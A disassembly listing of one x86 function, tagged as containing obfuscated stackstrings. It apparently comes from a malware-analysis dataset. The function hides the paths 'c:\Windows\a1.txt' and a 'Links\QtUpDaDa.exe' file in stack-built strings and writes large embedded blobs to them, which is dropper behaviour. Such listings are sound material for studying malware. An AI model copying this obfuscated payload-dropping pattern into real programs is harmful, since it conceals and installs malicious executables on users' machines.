Function at 0x405390
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x477c6b
mov eax, dword fs:[0]
push eax
sub esp, 0x388
mov eax, dword [0x494078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xf9
lea eax, [ebp - 0x10d]
mov dword [ebp - 0x38c], 0x742e3161
push 0
push eax
mov word [ebp - 0x388], 0x7478
mov byte [ebp - 0x386], 0
mov dword [ebp - 0x118], 0x575c3a63
mov dword [ebp - 0x114], 0x6f646e69
mov word [ebp - 0x110], 0x7377
mov byte [ebp - 0x10e], 0x5c
call fcn.00452c70
lea edx, [ebp - 0x38c]
add esp, 0xc
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x405420
lea edi, [ebp - 0x118]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x405430
mov ecx, edx
lea eax, [ebp - 0x2d0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0xb0
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.00452c70
add esp, 8
lea ecx, [ebp - 0x2d0]
call fcn.00406ca0
sub esp, 8
mov dword [ebp - 4], 0
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x2d0]
push eax
call fcn.00406bb0
push 0
push 0xf5bdb
push 0x4e7f28
lea ecx, [ebp - 0x2d0]
call fcn.00406f20
lea ecx, [ebp - 0x2cc]
call fcn.00407840
test eax, eax
jne 0x4054d4
mov eax, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x2d0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00401cb0
mov eax, dword [ebp - 0x2d0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x2d4], eax
lea ecx, [ebp - 0x2cc]
call fcn.00406840
mov eax, dword [ebp - 0x2d0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x2d4], eax
lea eax, [ebp - 0x268]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00450df0
add esp, 4
mov dword [ebp - 4], 0xffffffff
movaps xmm0, xmmword [0x4905b0]
lea eax, [ebp - 0x209]
mov dword [ebp - 0x390], 0x70557451
mov dword [ebp - 0x38c], 0x61446144
push 0xed
push 0
push eax
mov dword [ebp - 0x388], 0x6578652e
mov byte [ebp - 0x384], 0
movups xmmword [ebp - 0x220], xmm0
mov dword [ebp - 0x210], 0x6e694c5c
mov word [ebp - 0x20c], 0x736b
mov byte [ebp - 0x20a], 0x5c
call fcn.00452c70
lea edx, [ebp - 0x390]
add esp, 0xc
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x4055c0
lea edi, [ebp - 0x220]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4055d0
mov ecx, edx
lea eax, [ebp - 0x380]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0xb0
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.00452c70
add esp, 8
lea ecx, [ebp - 0x380]
call fcn.00406ca0
sub esp, 8
mov dword [ebp - 4], 2
lea eax, [ebp - 0x220]
lea ecx, [ebp - 0x380]
push eax
call fcn.00406bb0
push 0
push 0x53418
push 0x494b10
lea ecx, [ebp - 0x380]
call fcn.00406f20
lea ecx, [ebp - 0x37c]
call fcn.00407840
test eax, eax
jne 0x405674
mov eax, dword [ebp - 0x380]
lea ecx, [ebp - 0x380]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00401cb0
mov eax, dword [ebp - 0x380]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x380]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x384], eax
lea ecx, [ebp - 0x37c]
call fcn.00406840
mov eax, dword [ebp - 0x380]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x380]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x384], eax
lea eax, [ebp - 0x318]
mov dword [ebp - 4], 3
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00450df0
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00451250
mov esp, ebp
pop ebp
ret